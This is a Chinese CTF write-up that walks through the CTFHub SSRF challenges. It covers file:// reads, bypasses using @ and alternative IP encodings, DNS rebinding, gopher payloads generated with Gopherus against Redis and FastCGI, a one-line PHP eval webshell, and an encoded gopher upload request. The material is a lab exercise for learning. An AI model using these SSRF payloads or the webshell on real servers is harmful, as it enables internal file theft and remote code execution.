CTFHub靶场渗透~SSRF注入

内网访问

伪协议读取文件

# 提示我们要读取web目录下的flag.php,所以我们直接用file来读取

发现页面有提示，我们直接看源码拿下flag

端口扫描

# 此题我们看到端口扫描，然后我们burp抓包

URL Bypass

# 本题需要我们绕过来访问网页，所以我们使用@来试一下
url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

# 这次把数字也ban了，我们就要想其他办法，可以尝试转化为其他的方式，然后再进行访问
127.0.0.1–>localhost
127.0.0.1–>7F000001 十六进制
127.0.0.1–>2130706433 十进制
127.0.0.1–>2130706433 Enclosed Alphanumerics

302跳转 Bypass

# 尝试访问127.0.0.1/flag.php,发现页面提示我们banip了，所以我们看一下源码，到底ban了什么
?url=127.0.0.1/flag.php

# 读取源码文件，看一下文件内容
?url=file:///var/www/html/flag.php

# 查看文件并没有得到什么，所以我们查看index.php,文件里有什么
?url=file:///var/www/html/index.php

# 通过查看index.php得到源码中ban了127,172,10,192数字，因此我们使用数字绕过的方式来解决
?url=http://localhost/flag.php

DNS重绑定 Bypass

# 利用思路
对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判
断，如果在黑名单中，就pass掉。但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务
端去请求URL之间存在一个时间差，利用这个时间差，我们可以进行DNS 重绑定攻击。我们利用DNS
Rebinding技术，在第一次校验IP的时候返回一个合法的IP，在真实发起请求的时候，返回我们真正想
要访问的内网IP即可。
要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS
Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0，这是为了防止有DNS服务器
对解析结果进行缓存。这样就可以进行攻击了，完整的攻击流程为：
1.服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP
2.对于获得的IP进行判断，发现为非黑名单IP，则通过验证
3.服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务
器返回的是内网地址。
4.由于已经绕过验证，所以服务器端返回访问内网资源的结果。

# 首先我们需要访问附件地址来看解析网站上获取解析到内网IP的域名并作访问即可获取其Flag...
?url=https://lock.cmpxchg8b.com/rebinder.html

# 然后我们将解析到的域名输入url完成flag的查找
?url=http://7f000001.c0a80001.rbndr.us/flag.php

Redis协议

# 和FastCGI一样，我们先进行同样的步骤
python2 gopherus.py --exploit redis
PHPshell
<?php @eval($_POST['attack']);?>

# 然后我们访问shell.php,得到结果

# 我们用蚁剑进行连接，在根目录下发现ctfhub

FastCGI协议

# 准备工作
在线编码网址：https://icyberchef.com/

gopherus工具：https://mp.csdn.net/mp_blog/creation/editor/139440201

# 利用gopherus工具，然后进入工作台
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php
ls/

# 把中间的代码进行url编码，然后输入到url中查看

# 把flag再次输入进行同样的步骤
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php
cat /flag_8481e1506f0e4b5bee3cd64c2d32dc85

# 将内容再次进行编码输入到url中的到结果

文件上传

# 首先我们进行访问
127.0.0.1/flag.php

# 我们看到这个页面给他搞个提交按钮，然后提交并抓包

# 然后我们开始构造数据包
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

此代码是通用的回环地址，我们就可以将其放到url后面，最后得到结果

好小子，离成功又近一步！！！